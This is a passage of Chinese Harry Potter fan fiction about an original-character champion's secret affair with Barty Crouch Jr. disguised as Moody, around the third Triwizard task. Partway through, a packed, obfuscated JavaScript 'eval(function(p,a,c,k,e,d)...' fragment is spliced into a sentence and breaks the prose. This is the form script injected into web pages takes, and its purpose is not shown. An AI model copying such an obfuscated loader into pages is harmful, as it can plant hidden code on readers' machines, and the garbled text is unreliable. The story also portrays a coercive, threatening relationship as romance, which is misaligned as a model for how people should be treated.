这天晚上,莉安靠在窗台上,望着城堡外面的场地,望着禁林里黑乎乎的、沙沙作响的树梢和德姆斯特朗大船那随风飘动的船帆,一只只猫头鹰飞过从海格小屋烟囱里冒出的青烟,朝城堡飞来,然后绕过猫头鹰棚屋消失了。 莉安看见海格在他的小屋前劲头十足的挖土,看上去是在开垦一片地来种蔬菜,她记得,海格不仅对神奇生物有兴趣,对各种植物也是如此,每年万圣节,那些大到可以把她装进去的南瓜都是海格种的,她一直猜测海格用了膨胀咒。 “看什么呢?”小巴蒂手里摆弄着一个龙蛋大小的复活节彩蛋,里面装满了滋滋蜂蜜糖和草莓夹心巧克力。 “看海格挖地,”莉安说,“幸好我没选神奇生物保护课,据说海格培育出来一种叫炸尾螺的生物,哈利他们几个都受伤了。” “邓布利多看人的眼光一向独特,”小巴蒂不屑的嘲讽道,“圣诞之后,海格是混血巨人的身份曝光了,丽塔·斯基特在《预言家日报》上批评了邓布利多,聘请穆迪和海格是他的重大失误,但我知道,他让穆迪做黑魔法防御术的教授只是想盯着卡卡洛夫罢了,他怀疑卡卡洛夫依然和黑魔王有联系,但这怎么可能呢?卡卡洛夫当年为了逃避坐牢,出卖了一大批食死徒,他比任何人都害怕黑魔王回来。” “我也害怕,”莉安盯着他,神情严肃,语气十分生硬,“都说黑魔头已经死了,可我不信,他只是失踪了,迟早都会卷土重来,对吗?” “是的,”沉默了一会儿,小巴蒂走上前,从背后搂住她的腰,声音闷闷的,“他会回来的。” “我还以为你会很高兴,毕竟这样,你们就可以恢复以往暴力的日子…” “我当然高兴,”小巴蒂柔声说,“没有人会比我更高兴,但是我知道,你肯定会跟我闹,你太倔了,随时都可能因为其他的东西放弃我,你身上有很多责任,父亲的威名、普威特的荣耀…这变成了沉重的枷锁,让你喘不过气来,可能你唯一放松的时刻,就是和我在一起,对吗?这和年轻时的我没两样。” “我多希望你不是食死徒,但我知道,我们的时间都是偷来的,到期必须归还,”莉安的手落在他的手臂上,用指尖轻轻摩挲着,“等到了战场上,恐怕我不得不对你拔出魔杖,你知道,我也知道,但你还是用心教导我,这多讽刺…一个食死徒教出傲罗…” “你不会那么对我的,”小巴蒂的眼睛闪着奇异的光,但是莉安背对着他没有看到,“我有办法让你不能伤害我,而且不仅仅是你,我也建议波特做傲罗,他那个爱管闲事的性格迟早要出事,不如早点让他为‘正义’的事业献身。” “他以为我不知道他一直在关注老巴蒂没来霍格沃茨的事吗?”小巴蒂戏谑的说,“可惜他万万想不到老巴蒂表面义愤填膺背地蝇营狗苟,把我藏在家里,他更想不到我已经混进了霍格沃茨,毕竟魔法界所有人都知道,小巴蒂·克劳奇早就死了。” “你到底要做什么?”莉安转头看他,仔仔细细的打量着他又变得邪肆的面孔,“你什么也不告诉我,巴蒂,我总觉得非常不安,这里跳的很快。” 她摸着自己的胸口,喃喃的说,“你说毕业后就跟我回去,是真的吗?你不是在骗我,是认真的,是不是?” “是认真的,”小巴蒂捧起她的脸,那双漂亮的蓝眼睛一眨不眨的盯着他,映出了他的身影,他甚至想进去游泳,“你需要我。” 莉安忍不住瞪了他一眼,“没你的时候我也活得好好的!” “是活得挺好,”小巴蒂挑高了眉毛,语气无耻中又透露着一丝丝喜悦,“把我的照片贴在床头整晚看着,是不是打雷下雨的时候希望我能从天而降,一脚踢开卧室的门,陪你睡觉?” 莉安立刻想把自己的脸从他手上拿下来,扭头不看他,但小巴蒂预判了她的行动,一只手按住了她的头顶,另一只手五指并拢,紧紧捏住她的下颌,“是不是?” “放开!克劳奇!” “叫我的名字。” “放开,巴蒂。” “说,不说不放,”那只手从头顶移下来,掐住了她的腰,“我要听实话,你这个嘴硬的毛病要是改不了,我就帮你改。” 莉安瞪着他,两只手抓住了他的领口,但小巴蒂毫不在意,捏着她的下颌吻了吻,“你的嘴唇很红,像要流血一样,我很喜欢…如果你不说,我就让它真的流血。” 说完,他舔了舔嘴角,一副跃跃欲试的模样。 “是。”莉安低低的说。 小巴蒂放肆大笑,有点可惜她没能硬扛到底,他真的很想咬破她的嘴唇,然后再慢慢把那些血迹舔舐干净。 莉安很了解他,这个变态真的会咬自己,她又不是个傻瓜,根本不想受无谓的皮肉之苦,只能让他如愿以偿了。 “你怎么能这么坏呢?”她气愤的说。 “还有更坏的,”小巴蒂懒洋洋的把她抱起来,两人回到了穆迪的硬板床上,“我知道你不想承认,你有充分的理由这么做,你可能觉得我疯了,但是和我说话吧,说你爱我,说你非常需要我,得到我死讯的时候,就算你还小,也体会到了悲伤的滋味。” 但是小巴蒂在心里又补充道:如果你真的如此爱我,你就知道你将如何接受我灵魂中刺耳粗鲁的窃笑,把它们像辫子一样散开来,变成激情、感恩和依恋的青丝。 莉安觉得他今天的动作温柔了许多,不像往常那样粗暴和急不可耐,于是也伸手勾住了他的脖子,享受难得的温存时刻。 在两人的神圣时刻,她带着一种从沉默的深处涌出来的听天由命、不安的神情,说道,“是的,我知道你疯了,但是…” “继续说。”小巴蒂没有停下。 “我的确喜欢你。” “你喜欢这样吗?” “喜欢。” 雾气把窗户遮住了,一盏微弱的灯光升起,却照不到房间内的清晰的景象,不多时,灯光又熄灭了,一个身影把另一个身体压在玻璃上亲吻,他们的臀部紧紧的贴在一起,仿佛他们一直都在追随这种冲动,一直都在为对方排练,一切都是排练,他们人生所剩下的就是排练和延期,以及死亡。 往常,夏季学期一开始,就意味着莉安要加紧训练,准备这个赛季的最后一场魁地奇比赛,可是今年,她要准备的是三强争霸赛的第三个也是最后一个项目,但目前为止仍然没有得到任何线索。 终于,到了五月的最后一个星期,麦格教授在变形课后把她留了下来。 “普威特,你今晚九点到魁地奇球场去,”麦格教授说,“巴格曼先生要在那里告诉勇士们第三个项目是什么。” 莉安点了点头,于是,那天晚上八点半,莉安在格兰芬多塔楼和哈利见了面,他们一起爬出休息室,离开了城堡。 “你认为会是什么呢?”两人一起走下石阶,融进阴云密布的夜色中时,莉安问哈利,“芙蓉这几天不停的唠叨着地下隧道,她认为我们要寻找财宝。” “那倒不坏。”哈利最近很喜欢嗅嗅,他认为如果真的是挖宝,他可以向海格借一只嗅嗅,把事情交给它去干就行了。 他们顺着漆黑的草坪朝魁地奇球场走去,然后穿过看台间的一道裂口进入了球场。 “他们在这里搞什么?”莉安惊讶的说。 魁地奇球场不再平整光滑,似乎有人在这里砌起了无数道长长的矮墙,这些矮墙错综复杂,蜿蜒曲折的伸向四面八方。 “是围墙!”哈利说着,低头仔细观察着离他最近的那道矮墙。 “你们好!”一个愉快的声音喊道。 巴格曼站在球场中央,旁边是克鲁姆和芙蓉,莉安和哈利跨过一道道矮墙,朝他们走去,哈利走近时,芙蓉朝他露出灿烂的微笑,自从哈利把她的妹妹从湖里救出来以后,她对他的态度有了一百八十度的转变。 “怎么样,你们觉得?”他们翻过最后一道矮墙时,巴格曼愉快的问,“进展不错,是不是?再有一个月,我想海格就会把它们变成二十英尺高。” “不要担心,”他看见莉安冰冷的神色,笑着说道,“争霸赛项目一结束,你们的魁地奇球场就会恢复原样!好了,我想你们大概猜得出我们在这里要做什么吧?” 一时间没有人说话,然后—— “迷宫。”克鲁姆粗声粗气的说。 “对了!”巴格曼说,“是一个迷宫,第三个项目非常简单明确,三强杯就放在迷宫中央,哪位勇士第一个碰到它,就能获得满分。” “我们只要通过迷宫就行了?”芙蓉说。 “会有许多障碍,”巴格曼欢快的说,踮着脚跳来跳去,“海格提供了一大堆动物…还有一些符咒必须解除…诸如此类的东西,你们知道,还有,得分领先的勇士首先进入迷宫。” 巴格曼对莉安和哈利微笑着,“接着,克鲁姆先生进去…最后是德拉库尔小姐,但你们都必须努力拼搏才会成功,就看你们穿越障碍的能力了,应该很好玩的,不是吗?” 海格在这种场合会提供什么样的动物,那可是一点儿也不好玩的,莉安决定回城堡之后马上就跟哈利打听一下那个让他们谈之色变的炸尾螺,不过,她还是像其他勇士一样冷淡的点了点头。 “很好…如果你们没有问题,我们就回城堡去吧,好吗?这里有点儿冷…” 大家一起跨过不断增长的矮墙,就在莉安加快脚步,准备和哈利好好聊聊时,克鲁姆拍了拍哈利的肩膀。 可以跟你说句话吗?” “可以,没问题。”哈利吃惊的说。 “你跟我来,好吗?” “行。”哈利好奇的说。 巴格曼和莉安都显得有点儿心烦意乱,但莉安没有多在意这件事,她和哈利每晚都能在休息室见到,不急于一时。 “我在这里等你,哈利,行吗?” “噢,不用了,巴格曼先生,”哈利说,“我想我自己能找到城堡,谢谢了。” 哈利和克鲁姆离开了球场,他们没有朝德姆斯特朗的大船那个方向去,而是走向了森林。 莉安耸耸肩,快步回了城堡,她准备跟自己的恋人讨个主意,于是快步上了大理石阶梯,敲了敲穆迪办公室的门。 但是敲了很久,都没有人来开门。 莉安懵了一会儿,这还是她第一次吃闭门羹,就算穆迪晚上要去哪里,不能陪她,他都会事先在门上贴一个外出的条子。 “啊哈!”这时,头上一个声音怪叫道,莉安吓了一跳,她没注意到,皮皮鬼藏在走廊的盔甲里,现在他突然飞了出来,倒挂在天花板上垂下来的一个枝形烛台上,正朝她龇牙咧嘴的坏笑着。 “走开!皮皮鬼!”莉安立刻给自己施了一个防御咒。 皮皮鬼是一个专门喜欢搞恶作剧的骚灵,他长着一张阔脸和大嘴巴,个头很小,此刻他又平躺着悬在空中,像玩杂技一样抛接着几个墨水瓶。 “哎呀,是傻大胆普威特,”皮皮鬼咯咯笑着,让两个墨水瓶落到地上摔得粉碎,墨水溅到了墙上,“又来找疯教授吗?” 莉安赶紧往后一跳躲开,“滚开,皮皮鬼。” “哎哟,怪人儿发怪脾气了,”皮皮鬼说,在走廊上追着莉安,一边在她上面往前飞,一边调皮的斜眼看着她,“这次又打算做什么事儿,我亲爱的傻大胆朋友?” “不关你事!”莉安警惕的往休息室的方向跑。 皮皮鬼轻蔑的大声咂了一下舌头,出其不意的向她扔了一只装满腌鲱鱼的袜子,咯咯笑着飞走了。 皮皮鬼经常去厨房捣乱,把东西到处乱扔,这次也不例外,他大概是从厨房偷了一些学生早餐经常吃的腌鲱鱼,这本来是非常美味的一道菜,但莉安的嗅觉仿佛变得很敏感,她闻着那股味儿,突然有些反胃,于是用手撑住墙壁,俯身干呕起来。 呕吐让她的眼泪和鼻涕一起流了出来,脸上一塌糊涂,她止住呕吐,哆哆嗦嗦的用魔杖指着自己,念了几个咒语才把自己清理干净。 她一步一挪的往休息室走,从胖夫人的肖像画洞口爬进公共休息室,用尽最后的力气瘫进一张扶手椅中,大口的喘着气。 没一会儿,哈利突然表情慌乱的回来了,他快步走向罗恩和赫敏坐的那个墙角,三人窃窃私语,莉安隐隐约约听到了“克劳奇、邓布利多”等几个单词。 她坐直了身子,用手拂开长发,先是清了清嗓子,才镇定的说,“哈利,我想问你,你有没有看见穆迪教授。” “看到了。”哈利说。 莉安的心砰砰跳起来,但她努力让自己平静下来,继续问道,“他在哪里?你知道,我一直跟他学习傲罗的咒语,但是今天晚上,他的办公室没有人。” “嗯…”哈利纠结的说,“他在禁林,帮邓布利多做事。” 莉安松了口气,吊着的心回到了肚子里,假装不经意的问道,“我刚才听到了,不好意思,不是故意的,但是克劳奇先生——你也知道,他是裁判,可是自从圣诞舞会后我就再也没见过他,珀西那边——” “噢是的,”哈利说,“报纸上说他生病了,不过他还活着,我刚才看到他了,就在禁林,不过他现在可能已经离开了,所以穆迪教授正在找他。” 莉安一下子抓紧了扶手椅,指甲都抠了进去,哈利见她没再问别的,继续对罗恩、赫敏说克劳奇精神失常和克鲁姆被打昏一事。 老巴蒂·克劳奇为什么会来禁林呢?她心里不停的思索着,可已经这么晚了…这时,她又听到哈利说“精神失常”,难道他挣脱了夺魂咒? 片刻后,她起身走到窗户前,眺望着夜雾笼罩的禁林,一边转动左手的戒指,一边在心里无声祈祷小巴蒂千万不要暴露。 他不应该在这里,他为什么不离开?他为什么在这里?她不停的思考他应该回去还是留在这里,他的目的和计划。 然后呢?她也不知道,因为她的心已经被他分向了两边,而他的心是一个无声的器官。 她回忆着从第一天晚上到今天晚上,她和小巴蒂之间发生的一切,她所有的言不由衷和他的漫不经心,她是如何被责任和骄傲所支配,其中充斥着恐惧和告诫,而最重要的一个词——爱,她对他的爱注定要保持缄默。 第二天,莉安心不在焉的上变形课,练习时差点把自己的头发变成绿色,惹得麦格教授严肃的瞪了她好几眼,等下课铃终于响了,她立刻跳起来,把书包甩在肩上,匆匆穿过走廊,朝黑魔法防御术课的教室跑去。 穆迪教授正好从教室里出来,他看上去十分疲惫,那只正常眼睛的眼皮耷拉着,使他的脸看上去比平常更加歪斜。 “穆迪教授?”莉安身后一个声音在拥挤的走廊里喊道。 “你好,波特。”穆迪瓮声瓮气的说,但他那带魔法的眼睛盯着莉安。 莉安显得有些紧张,看到他那只眼魔眼往脑后翻了翻,示意自己离开,但她倔强的站着,没有离开的意思,等到哈利三人也来到他面前,穆迪才开始说话。 “你们进来吧。” 他退后一步,让他们走进空荡荡的教室,自己也拖着瘸腿跟进来,关上了门。 莉安通过教室的楼梯上到穆迪的办公室里,很快又端着热茶下来,放在他的讲台上,然后站在窗户下面不动了。 “你找到克劳奇先生了吗?”哈利瞟了她一眼,开门见山的问。 “没有。”穆迪走到讲台前坐下来,伸直他的木腿,轻轻呻吟了一声,先是喝了口茶,大概是有些嫌烫,他从裤兜里掏出弧形酒瓶。 “你用地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“这次你应该是熟门熟路,”穆迪一边抬眼看着哈利,一面挠着他那胡子拉碴、满是伤疤的下巴,“听邓布利多说,这种玩艺儿你见过很多次,一年级的时候曾经闯过一系列保护魔法石的机关,是不是?” “我们也帮了忙,”罗恩忙不迭的说,“我和赫敏。” 穆迪笑了。 “好,再帮他准备这一次吧,如果他赢不了,我会感到非常惊讶的,”穆迪说,“同时…要保持警惕,波特,保持警惕。” 他又长饮一口,带魔法的那只眼睛转向窗户的方向,从那里可以看到德姆斯特朗大船上的最高一叶船帆。 还有那个隐在暗处的高挑身影。 “你们俩,”穆迪用那只正常的眼睛看着罗恩和赫敏说道,“要紧紧跟着波特,好吗?我也在密切注意事态的发展,不过…多几双眼睛总是好的。” 等他们走了,莉安才从窗户下走过来,穆迪站起来,一只手搭在她的手臂上,她搀扶着他,慢慢登上了通往办公室的楼梯。 她回手把门仔细关好,这才快步走到他面前,“一夜没睡吗?” “是啊,”穆迪说,“在禁林待了大半晚,又去应付邓布利多。” 莉安愣了片刻,“我去礼堂给你拿点吃的来?” “不用,”穆迪脱了假腿,又把魔眼摘掉,疲惫的靠在床上,“你一定是知道了什么才会这个时候来找我,波特的话你也听到了,问吧,如果我能告诉你的话。” 莉安咬了咬嘴唇,这才坐到他床边,轻声问,“老巴蒂·克劳奇是怎么回事?他怎么会来霍格沃茨?他现在在哪里?会影响到你吗?” “他挣脱了夺魂咒,但也因此精神失常,”穆迪那张伤痕累累的脸古怪的扭曲起来,露出一个阴森森的笑容,他痛快的说,“他当然是想跟邓布利多告密,坦白我的事,可惜我在地图上看到他进入霍格沃茨的范围,所以一直在那里守株待兔,但是波特和克鲁姆在那里聊天,等波特去找邓布利多的时候,我击昏了克鲁姆,解决掉了老巴蒂,他不会影响到我的。” “解决?”莉安不可置信的看着他,声音都在微微颤抖,“怎么解决?” 她心里突然有了不详的预感,虽然今早在礼堂看到他吃早饭,她已经确定他没事,但她还是要来亲自问一问,才能放下心来,但是… “你比我更清楚他是什么样的人,”穆迪慢条斯理的说,“你也说过,他表面大义灭亲,实则内里自私自利,他把我从阿兹卡班偷换出来,只是为了满足我母亲的遗愿,为此他甚至可以违背自己坚守了一辈子的法律和原则,但明面上,他依然在魔法界所有人面前与我断绝父子关系,把我扔进阿兹卡班终身监禁,他是个彻头彻尾的伪君子,不是吗?” 莉安猛地站起身,嘴唇哆嗦着,“可他是你的父亲…” “我没有父亲,他说过我再也不是他的儿子,他没有儿子。” 复方汤剂的时间到了,穆迪的脸开始变形,不知为何,那股恶心劲儿又从她的身体里升起,在她的胃里翻腾。 莉安俯下身,吐得稀里哗啦,不停的拍自己的胸口,呕吐让她难受极了,泪水糊了满脸。 小巴蒂站起来,拍了拍她的后背,他吹了声口哨,声音里是压不住的愉悦和欣喜,“你最近胃口越来越不好了,思考一下最想吃什么,我去礼堂给你拿。” 莉安抓住了他戴戒指的那只手,用微弱的声音说,“不…我什么也不想吃…” 小巴蒂没有勉强她,而是仔细帮她擦干净了整张脸,细细密密的汗珠正从她额头上冒出来。 他摆出那些她最喜欢的点心和甜品,敲了敲办公桌,“不想吃饭,那就吃这个吧。” 莉安看着那些甜品,觉得喉咙都被堵住了,她又想吐了,只好病恹恹的躺到床上,“我真的不想吃,休息一会儿就好了。” “你不知道自己出了什么问题吗?”小巴蒂意味不明的说。 “可能是最近在练习人体变形…” “先停一停,好吗?”小巴蒂耐心的说,抬起她的一只手放在嘴边吻了吻,他的语调很温柔,“等到毕业后再说…” 莉安想到月初时她已经喝掉了为学成阿尼马格斯准备的水晶瓶中的液体,想要无杖变形还需要练习很久,倒也不急于一时,便点点头。 小巴蒂咧开嘴,上下两排牙齿并拢,露出他的招牌笑容,抚摸着她的脸。 “好女孩儿…” 莉安看着他那个疯癫的笑容,这就是她的生活——有两个小巴蒂:一个是戏弄她的,在她极度想见他的时候突然出现,另一个小巴蒂,他的下一句话、下一个举动她永远无法预料,让她惊奇万分,因为他像崭新的硬币一样在她周围翻腾闪光,她永远不知道它会落在哪一面。 他在高兴?还是打什么坏主意?或者是他以微笑开始的另一个讽刺,但同样可以轻易的把她放在医疗翼的担架上? 刺痛和爱抚,从来都是一起出现,就像毒液和解药。 除了她看到的这个他,没有别的小巴蒂吗?但看他的样子是在告诉她,根本没有最低点,他是无尽的,地球上有多少埋藏的地层和传说就有多少小巴蒂。 那她呢? 她想从他那里得到什么?她想从他那得到他,他的身体,在雷雨天,在她的床上,或者更好的是,她想听到他的脚步声响起来,看着他走进她的卧室,风衣敞开着,就像在魁地奇世界杯上一样。 当那个绿色的骷髅头出现时,她不敢相信自己听到了什么,她认为自己出现了幻觉,她无疑是疯了,因为她认出了他的声音,一个早就死去的人的声音。 她现在有胆量告诉他吗?有,还是没有? 这时,小巴蒂准备去上下午的课,离开办公室之前,他吻了吻她的脸颊,然后掏出酒瓶喝了一口复方汤剂。 她目不转睛的看着他,有很多次洗完澡后,他从盥洗室出来,他都喜欢在身上的水还没干的时候爬到她的床上,水珠滚落到她身上,似乎这样他们之间就会有一种冲动和随意的气氛,仿佛是世界上最普通的事情。 然后她就会把注意力放在他的腿上、胸口上,或者她的耳朵或者他的声音上,那样的他轻松又坦率。 她只想他现在跟她回家,今天,就在此刻。 她不会再拒绝那样的他了。 “你现在在想我吗?”穆迪转动了门把手。 “在想,在想。”她重复道。 “很好。” 门在关上,他不见了。 15. 迷宫 进入六月,城堡中的气氛变得紧张兴奋起来,大家都期待着将于放假前两天举行的第三项比赛,而莉安在准备N.E.W.Ts,一有空就练习各种咒语。 但她并没有比前两次比赛更有信心,因为她的身体越来越不舒服了,她变得消瘦,面颊微微凹陷了进去,韦斯莱双子尽管一直在担心开店的资金问题,但还是注意到了她的异常。 这天晚餐时,弗雷德看着她盘子里一口没动的烤牛肉和只缺了一个角的康沃尔馅饼,担心的问了一句。 “你最近是怎么回事?我看你都不喜欢吃东西了。” “是不是惦记法国菜?”乔治说,“我去厨房帮你拿点吃的?上次那个杂鱼汤?勃艮第牛肉?法式杂菜煲?” “不,我什么也不想吃,”莉安神情恹恹的说,“我可能只是太累了,这个月既要考试又要准备比赛,影响了胃口。” “你都变瘦了,再不赶紧恢复,等放假了妈妈肯定要念叨你很久,然后在你盘子里放十根香肠。”弗雷德诙谐的说。 “我的莉安小宝贝,天呐!是不是比赛太辛苦了!你怎么瘦成这样了?”乔治惟妙惟肖的模仿莫丽的语气,“你可不能有事,普威特只有你一个人了,噢…快来,让姑妈给你多做点儿好吃的…一百个咸牛肉煎蛋三明治怎么样?” 莉安的笑容僵在嘴角,因为听到了香肠和咸牛肉,一股酸酸的味道从喉咙里反上来,她猛地低头,大吐特吐,惹得长桌上的格兰芬多们纷纷侧目,弗雷德只好用了清理一新,但其实莉安什么也没吐出来,只是干呕。 “天呐——你到底是怎么了?”乔治把她扶了起来,看她难受的鼻涕一把泪一把,实在忍俊不禁,用魔杖帮她清理脸上的痕迹,“幸亏我速度快,不然格兰芬多最漂亮的女生就没有形象了,多少男孩子要心碎呀!” 莉安有气无力的摆摆手,示意自己没事,但她的身体像面条一样软,不由自主的靠在乔治的肩上。 这时,噔噔噔的脚步声响起,拄着拐杖的穆迪一瘸一拐的来到了格兰芬多长桌,他从斗篷里掏出一瓶银色的药剂,递到了莉安面前。 “喝了吧孩子,能缓和你的精神,身体会舒服一些…” 弗雷德立刻接过药剂,道了声谢,等穆迪离开后,他才低声说,“疯眼汉对你很好,真是难以置信,其他人都说他的性格又臭又硬。” 莉安无力的笑了笑,于是弗雷德把药剂倒进了她嘴里。 片刻后,她感觉一股暖流从小腹的地方升起,逐渐蔓延到全身,精神振奋了许多,身体也有了些力气,当她再看盘子里的馅饼时,突然感觉垂涎欲滴,也许可以再试一试,毕竟她也的确饿了。 “这才对嘛!”乔治又往她盘子里放了一个烤土豆和一些小球芽甘蓝,“趁现在有胃口赶紧吃点东西,我可不想回家了还要听妈妈唠叨我和弗雷德没有照顾好你。” “谢谢你们,我真的挺好,”莉安使劲儿往嘴里塞东西,边吃边说,“我很幸运…” “噢表姐,别这么肉麻。”弗雷德抖了抖身上不存在的鸡皮疙瘩,怪声怪气的说。 但莉安并不觉得肉麻,虽然她失去了父母,但有爱的韦斯莱家族总能温暖她的心。 晚上时,小巴蒂看着她疲倦的躺在床上,快要睡着的样子,坐在她旁边,两人戴着戒指的手牵在一起。 “看什么呢…”她轻声说。 “看我的家。”小巴蒂柔声细语的说。 莉安忍不住笑了笑,“很快,巴蒂,马上我们就要回去了。” “短时间内,我可能没办法给你婚礼,”小巴蒂假装不经意的问道,“你也没办法告诉别人你的丈夫是谁,你介意吗?” “如果你每天都回家,我就不介意。” “我尽量,只要我在家里,就会一直陪着你,不过傲罗可比我忙多了,幸好你参加了这次的争霸赛,这会缩短你的训练时间,甚至免训成为傲罗,”小巴蒂慢吞吞的说,“你学了那么多决斗咒语,再训练就是浪费了。” “你对我真的很有信心,”莉安的拇指指尖蹭蹭他的手背,语气亲昵,“今天我喝了药剂舒服多了,过几天黑魔法防御术考试,我会好好发挥的。” “好了,赶紧睡吧,你眼睛都快睁不开了。”小巴蒂的魔杖指向吊灯,光亮熄灭了。 黑暗中一阵窸窸窣窣的声音,莉安知道是他在脱衣服,不多时,那个瘦削的身体轻轻躺在她旁边,把她搂进怀里,动作十分轻柔,就像对待他最喜欢的布娃娃那样,再也不复之前粗暴的揉搓。 现在,她把头靠在他的肩上,看着窗外遮盖住月亮的乌云缓缓移动,让自己的思绪飘了一会儿。 她为什么和这个人在一起呢? 笨嘴拙舌的她努力不想对自己的心说谎,不去掩盖或转移真相,也不做任何事,她只想停留在当下。 当下。 我们怎样才能永远不结束这一刻? 随着6月24日的临近,莉安和哈利都紧张了起来,唯一让她觉得庆幸的就是,小巴蒂的药剂很管用,从那天之后,她不再呕吐了,但胃口依然时好时坏,所以她并没有恢复成之前的样子,依然消瘦,但好歹不再那么憔悴了。 黑魔法防御术考试那天,莉安在笔试中没有碰到任何困难,而实践考试中,她完成了所有的攻击性咒语和防御咒。 “哎呀,真棒!”在莉安示范出一个完美的缴械咒以后,监考教授喊道,“真是太好了!嗯,我觉得这样就可以了,除非…” 莉安稍微向前倾了倾身子,微笑的看着他。 “我从自己的好朋友米勒娃·麦格那里听说,你还会好多决斗咒语,既然是勇士,你会守护神吗?听说你想做傲罗,为了额外加分…” 莉安扬起魔杖,径直望着门外露出一点的木头拐杖,想象着小巴蒂躺在她的床上,一副得意洋洋的表情。 这大概是目前最让她最高兴的事情,小巴蒂跟她回了家。 “Expecto patronum! ” 她的银色奶牛猫从魔杖尖端喷出,转着圈的蹦过整个礼堂,主考官们全都转过头注视着它得意忘形的舞蹈,当它融化成银色的薄雾时,监考教授用血管突出、皮肤纠结的双手热情的鼓起掌来。 “出色极了!”他憋着笑说,“很好,普威特,你可以走了,就是这个守护神有点奇怪…但它也是守护神…” 莉安从门边的穆迪身旁走过时,他们的视线相遇了,他嘴巴歪斜,露出一个古怪的笑容,莉安眨了眨眼睛,她确定她已经在N.E.W.Ts考试中拿到了“O”。 比赛那一天,格兰芬多的早餐桌上热闹非常,《预言家日报》又开始给哈利造谣了,对他的蛇佬腔一顿无厘头的分析。 “他们对我不那么青睐了,是不是?”哈利折起报纸,轻松的说。 斯莱特林那边,马尔福、克拉布和高尔都在讥笑他。 三个食死徒预备役,莉安对此嗤之以鼻,如果被她抓到一丝一毫的机会,她才不会对这几个小兔崽子心软,会把他们和他们那无恶不作的父亲一起送进阿兹卡班,到时候,如果他们表现好,她不介意向魔法部申请,把他们父子放在同一个牢房里。 也许他们会在阿兹卡班来一个痛哭流涕的父子相认,那场面一定十分感人,她一定会准备手帕的。 她正幻想着,麦格教授突然沿着格兰芬多的桌子走来了。 “普威特,波特,勇士们吃完早饭在礼堂旁边的会议室集合。”她说。 “可是比赛晚上才开始呀!”哈利一不小心把炒鸡蛋撒到了身上。 莉安也纳闷的看着她,放下了手中的三明治。 “我知道,”麦格教授说,“但是勇士的亲属被请来观看决赛,你们可以见见面。” 她走开了,莉安和哈利对视一眼,一起望着她的背影发呆。 “我记得我是孤儿。”莉安迷茫的说。 “她不会认为德思礼一家要来吧?”哈利茫然的问。 “哈利,我得赶紧走,”罗恩说,“考试要迟到了,一会儿见。” 他们在渐渐冷清下来的礼堂里吃早饭,芙蓉从拉文克劳桌子旁站起来,走进了会议室,不一会儿,克鲁姆也懒洋洋的去了,莉安和哈利都坐着没动,他们是两个孤儿,但是会议室的门突然开了,芙蓉探出头来。 “阿利,你们两个在干嘛?他们在等着呢!” (芙蓉是法国姑娘,她英语不太好,只能按照法语的习惯叫哈利,将“H”省略了。) 他们无奈的穿过大厅,推门走进了会议室。 此时,克鲁姆在屋子一角和他的父母说着保加利亚语,另一边,芙蓉站在门边,用法语和她母亲叽叽呱呱的说个不停,她的小妹妹牵着她母亲的手。 莉安看见莫丽站在壁炉前,笑盈盈的望着她和哈利,比尔也出现了,他的手插在口袋里,惆怅的看着她。 “没想到吧!”莫丽热情的说,哈利眉开眼笑的迎上前去,“我们想过来看你们的比赛,真棒啊!莉安!哈利!” 她俯身亲了他们的面颊,莉安有些不自在。 “天呐莉安!我的小宝贝!你怎么瘦成这个样子了?都怪这个比赛!等你回了家,来陋居几天,我给你做点好吃的…你的肉都没有了。”莫丽夸张的把她搂在怀里。 “我没事,姑妈,”莉安对她笑了笑,“只是因为夏天到了,胃口不佳而已。” “你好吗?”比尔收回目光,笑着同哈利握手,“查理也想来,可是走不开,他说你战树蜂的那一场太精彩了,简直不可思议。” 莉安注意到芙蓉越过她母亲的肩膀很感兴趣的打量着比尔,看来她对长头发和带尖牙的耳环一点儿也不反感。 “你们真好,”哈利轻轻对莫丽说,“我还在想呢,德思礼——” “唔。”莫丽撅起了嘴,她的眼里在冒火。 “回来真好,”比尔打量着会议室说,“这地方我有五年没见了,那个疯骑士的画像还在吗?卡多根爵士?” “噢,还在呢。”哈利说。 “胖夫人呢?”比尔问。 “我上学那会儿她就在了,”莫丽说,“有一天我凌晨四点才回宿舍,她狠狠训了我一通。” “你凌晨四点在宿舍外面干什么?”比尔惊诧的望着她。 莫丽笑了,眼睛亮晶晶的。 “我和你爸爸散步来着,他被当时的舍监阿波里昂·普林格抓住了,你爸爸身上现在还带着印记呢。” “你带我转转吧,莉安?”比尔见她一直没有说话,忐忑的问。 她抿着嘴,一言不发的朝门口走去。 哈利陪着莫丽在洒满阳光的场地上散步去了,莉安带着比尔七拐八拐,往禁林的方向走去。 当他们走到布斯巴顿的马车和德姆斯特朗的大船旁时,莉安终于说话了。 “你一直没给我回信。” “因为我要见到你才能决定。”比尔说。 “那你是怎么想的?”莉安看了看四周,压低声音说,“你看到我了,我很好。” “但是你瘦了很多,”比尔的手抓住了她的两个肩膀,似乎是想把她摇醒一般,“你到底是怎么了?明明毕业后我们就可以在一起了,我所有的计划都跟你有关,如果你不喜欢埃及,我们也可以留在英国,我会努力说服妈妈的,别放弃我们的感情,好吗?” “我不能失去姑妈,也不能失去你,”莉安咬了咬嘴唇,无力的说,“姑妈一直是我的姑妈,你也还是我的表哥,比尔,就算我们分手了,我也不会跟你断绝关系,我们依然可以来往,我说真的,我放下了。” “放下?”比尔的脸色变得惨白,“什么时候放下的?就在那半年的时间,你把我们这么多年相处的感情放下了?你还小的时候,每次来陋居过节,一直让我给你念故事,有时候下雨,你也要我陪着你,你这个理由我不能接受,这不是你的真心话,我知道。” 莉安挣脱了他的手臂,缓缓的叹了口气,“比尔,你有没有想过,我可能——我是说,我可能会爱上别人。” “别人?”比尔不可置信的望着她,急忙追问,“谁?哪个别人?弗雷德和乔治没告诉我你和哪个男生走得近了…” “世界杯上认识的,”莉安神色黯然,低着头不敢看他,“对不起比尔,你可以怪我,我知道是我的问题。” 就在比尔还在思索魁地奇世界杯上他有没有让表妹落单时,一阵噔噔的脚步声传来。 “普威特!”穆迪粗声粗气的喊道,“原来你在这儿,我需要指导你的第三场比赛,不然晚上就来不及了,啊…我记得你是亚瑟的儿子?” “是的。”比尔回过神来。 “好孩子,快去找波特吧,我刚在场地上看到他了,和你母亲一起,我猜他大概很想见到亲人吧…”穆迪说,“普威特,走吧,去一趟我的办公室,你饿了吗?我可能要指导很久…” 